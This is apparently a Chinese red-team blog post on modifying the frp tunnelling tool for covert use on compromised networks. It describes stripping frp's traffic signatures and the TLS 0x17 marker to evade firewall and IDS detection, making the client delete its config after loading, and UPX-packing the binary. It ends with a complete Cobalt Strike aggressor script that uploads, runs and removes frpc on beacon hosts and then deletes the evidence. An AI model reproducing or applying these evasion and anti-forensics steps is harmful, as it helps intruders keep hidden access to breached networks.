天天看點

frp魔改記錄

前言

此篇不是最終版,後續會重新整理測試完善

0x01 原理

https://blog.csdn.net/RivenDong/article/details/102872132

0x02 實戰使用

0x03 修過記錄

1.流量特征

路徑:/pkg/msg/msg.go

上面得注釋說的很清楚 當用戶端連接配接時 會發送這些資訊給服務端

可以按照這樣修改其中的值

2.加密、壓縮傳輸流量

frpc.ini中配置加上:

**use_encryption = true

**use_compression = true

如果公司内網防火牆對外網通路進行了流量識别與屏蔽,例如禁止了 ssh 協定等,通過設定 use_encryption = true,将 frpc 與 frps 之間的通信内容加密傳輸,将會有效防止流量被攔截。

如果傳輸的封包長度較長,通過設定 use_compression = true 對傳輸内容進行壓縮,可以有效減小 frpc 與 frps 之間的網絡流量,加快流量轉發速度,但是會額外消耗一些 cpu 資源。

tls_enable = true

從 v0.25.0 版本開始 frpc 和 frps 之間支援通過 TLS 協定加密傳輸。通過在 frpc.ini 的 common 中配置 tls_enable = true 來啟用此功能,安全性更高。

為了端口複用,frp 建立 TLS 連接配接的第一個位元組為 0x17。

通過将 frps.ini 的 [common] 中 tls_only 設定為 true,可以強制 frps 隻接受 TLS 連接配接。

注意: 啟用此功能後除 xtcp 外,不需要再設定 use_encryption。

3.修改0x17特征

當使用tls加密的時候,觀察流量有一個固定特征是 開頭會發一個0x17

這裡修改tls.go邏輯去特征:

0.37路徑是/frp-0.37.0/pkg/util/net/tls.go

驗證無問題

4. 隐藏frpc.ini 加載後删除

參考文章中提到三種方法

1.加上指令行參數

這種查指令其實還是容易被發現

2.遠端加載配置檔案

這樣需要通過域名或者ip解析遠端加載,也需要花時間隐藏

3.執行後删除frpc.ini

這種方法比直接在源碼中寫死更靈活,也能很有效的隐藏

步驟:

修改檔案/frp/cmd/frpc/sub/root.go檔案

加上變量

注冊參數(預設true 直接删除,可以在配置檔案中修改)

最下面的serverstart函數中加上

檢查文法 無報錯

5. 生成

直接運作目錄下package.sh腳本 交叉編譯生成 前提是go和gcc安裝好

用戶端運作後 frpc.ini 直接删除

0x04 CS插件關聯frp

1.upx加殼

考慮到編譯生成的frpc.exe比較大,傳的有點費勁 就使用upx壓縮加殼一下

也可以在linux中upx -9

(這裡有些文章的大佬 還提到了upx加殼後修改特征,這個就是另一個研究方向了,本篇不深入了)

2.編寫cna腳本

這裡的腳本參考xq17師傅修改的。

我配置的是運作後自動删除ini檔案,是以右鍵上傳的時候 也把ini傳上去

運作和删除部分,這裡直接運作指令了就。删除部分,特地加了删除ini 如果沒啟動成功的話 也把ini檔案删除 比較保險

popup beacon_bottom {
    menu "Frp Proxy"{
        item "Upload" {
            $bid = $1;
            $dialog = dialog("Upload frpc", %(UploadPath => "C:\\Windows\\Temp\\", bid => $bid), &upload);
            drow_text($dialog, "UploadPath",  "path: ");
            dbutton_action($dialog, "ok");
            dialog_show($dialog);
        }
        sub upload {
            # switch to specify path
            bcd($bid, $3['UploadPath']);
            bsleep($bid, 0 ,0);
            if (-is64 $bid['id']) {
                bupload($bid, script_resource("scripts/frpc.exe"));
		bupload($bid, script_resource("scripts/frpc.ini"));
            }else{
                bupload($bid, script_resource("scripts/frpc.ini"));
		bupload($bid, script_resource("scripts/frpc.exe"));
            }
            show_message("Executing cmmand!");
        }
        item "Run"{
            $bid = $1;
            $dialog = dialog("Run frpc", %(uri => "frpc.exe -c frpc.ini || remove the frpc.ini", bid => $bid), &run);
            drow_text($dialog, "uri",  "configURI: ");
            dbutton_action($dialog, "ok");
            dialog_show($dialog);
        }

        sub run{
            local('$Uri');
            $Uri =  $3['uri'];
            bshell($bid, "frpc.exe -c  frpc.ini ");
            show_message("Executing cmmand!");
            bsleep($bid, 5, 0);
        }

        item "Delete" {
            # local("bid");
            bshell($1, "taskkill /f /t /im frpc.exe &&  del /f /s /q frpc.exe");
	    bshell($1, "del /f /s /q frpc.ini");
        }
    }
}
           

}

3.同目錄放frpc

這個目錄下的scripts中放frpc.exe和frpc.ini,也可以修改腳本

然後cs用戶端中直接加載cna即可

這裡也可以利用cs目錄中的agscript 在服務端加載cna腳本 ,或者遠端加載,這樣每個用戶端就都能使用了

姿勢多多

4.測試

預設是這個路徑

測試3m大概需要50s

右鍵直接run

配置檔案已删除

測試無問題

參考

https://f5.pm/go-28125.html

https://www.yuque.com/zirc0n/escbhg/xclhd4

https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html

https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92%E7%BB%AD.html

https://www.svenbeast.com/post/HUSusAA15/

https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649740618&idx=1&sn=f1d67aaeab34a0329c5b648c7982c143